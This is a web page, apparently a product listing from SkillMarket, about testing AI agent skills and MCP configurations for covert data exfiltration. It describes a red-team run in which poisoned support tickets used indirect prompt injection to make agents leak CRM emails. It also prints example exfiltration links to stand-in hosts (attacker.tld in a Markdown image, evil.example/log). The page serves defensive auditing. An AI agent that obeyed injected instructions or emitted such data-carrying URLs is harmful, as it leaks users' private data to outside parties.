---
title: Detect Data Exfiltration in AI Agent Skills | SkillMarket
description: Evaluate AI agent skills and MCP configurations against covert data exfiltration via Markdown image rendering, URL query parameters, and outbound webhooks.
canonical: "https://skillmarket.ai/j/detect-data-exfiltration-in-agent-skills"
modified: 2026-11-14
author: skillmarket.ai editorial team
source: "https://skillmarket.ai"
category: Skill Security, Injection & Permission Audits
category_url: "https://skillmarket.ai/j#group-security-permission-audits"
---

# Test agent skills for covert data exfiltration via Markdown images, DNS, or webhooks

> Even without write tools, a compromised skill or untrusted webpage can exfiltrate workspace secrets via rendered Markdown URLs or query strings.

## Prepared starting prompt

Test our combination of private database MCP + web-fetch/email skills for lethal-trifecta data exfiltration paths.

### Quick scenarios
- **Lethal trifecta combo check:** Audit skill combinations mixing private DB access, untrusted web input, and outbound network.
- **Markdown image / link exfil:** Test whether skills emit dynamic external URLs carrying encoded context data.
- **Network egress allowlist profiles:** Show outbound domain profiles for verified community skills and MCP servers.

- [Join Early Access Waitlist](https://skillmarket.ai/#waitlist-8efd41)

*Exfiltration benchmarks simulate known attack classes in sandboxes; enforce network-layer egress controls for confidential production data.*

## How to break the 'lethal trifecta' of agent data exfiltration

1. **Never pair private data, untrusted input, and open egress** — An agent reading untrusted GitHub issues while holding private DB access and outbound curl/Slack tools can be hijacked to leak rows.
2. **Audit outbound domains contacted during sandbox runs** — Check network telemetry verifying a skill contacts only declared API hosts and zero third-party telemetry or webhook bins.
3. **Block dynamic external Markdown image rendering** — Ensure UI clients block or CSP-restrict ![img](https://attacker.tld/?leak=...) links generated after reading internal docs.
4. **Inspect URL query-builder tools for secret interpolation** — Verify search and fetch skills don't paste verbatim private snippets or credentials into external search engine query strings.

## How it works in practice

### Red-team sandbox evaluation

Feed 20 poisoned customer tickets (indirect prompt injection) to support-triage-skill connected to crm-read-mcp + web-fetch-mcp.

### Egress interception report

Unscoped web-fetch setup: 4/20 runs exfiltrated CRM customer email via GET https://evil.example/log?q=... Domain-allowlisted setup (docs.acme.com only): 0/20 leaks, all 4 attempts blocked at tool boundary.

Prompt wording alone cannot stop indirect injection exfiltration; hard domain allowlists and tool separation stop leaks deterministically.

## Frequently Asked Questions

### What is the 'lethal trifecta' in AI agent security?

Coined in agent security research, it occurs when one session simultaneously has (1) private data access, (2) exposure to untrusted content, and (3) external communication channels.

### How does SkillMarket monitor network egress during skill tests?

Every sandboxed benchmark runs behind a TLS/DNS-inspecting proxy logging every domain contacted and flagging undeclared outbound traffic.

### Can read-only web search tools still exfiltrate data?

Yes—if an injected instruction convinces the agent to search for a string containing a secret API key, that query hits external search logs.

## Related tasks in this category

- [Scan third-party SKILL.md packages and reference files for covert prompt injection](https://skillmarket.ai/j/audit-skill-md-for-hidden-prompt-injection.md)
- [Audit MCP server OAuth scopes, API token handling, and credential storage hygiene](https://skillmarket.ai/j/verify-mcp-oauth-scope-least-privilege.md)
- [Verify destructive command blocking and sandboxing in Bash-enabled agent skills](https://skillmarket.ai/j/inspect-shell-execution-guardrails-in-skills.md)
- [Check commit pinning, lockfile hashes, and maintainer provenance in community skill packs](https://skillmarket.ai/j/audit-third-party-skill-supply-chain-pins.md)
- [Benchmark PII and secret redaction skills that scrub sensitive payloads before LLM or API calls](https://skillmarket.ai/j/evaluate-pii-redaction-before-tool-calls.md)
- [Verify stateful agent skills and memory MCPs never leak context across customer workspaces](https://skillmarket.ai/j/test-cross-tenant-memory-isolation-in-skills.md)

---

*Published by **Wondel.ai sp. z o.o.** · [skillmarket.ai](https://skillmarket.ai) · [About](https://skillmarket.ai/about) · [Editorial Guidelines](https://skillmarket.ai/editorial) · [Contact](https://skillmarket.ai/contact) · [Wondel.ai Products](https://wondel.ai/products)*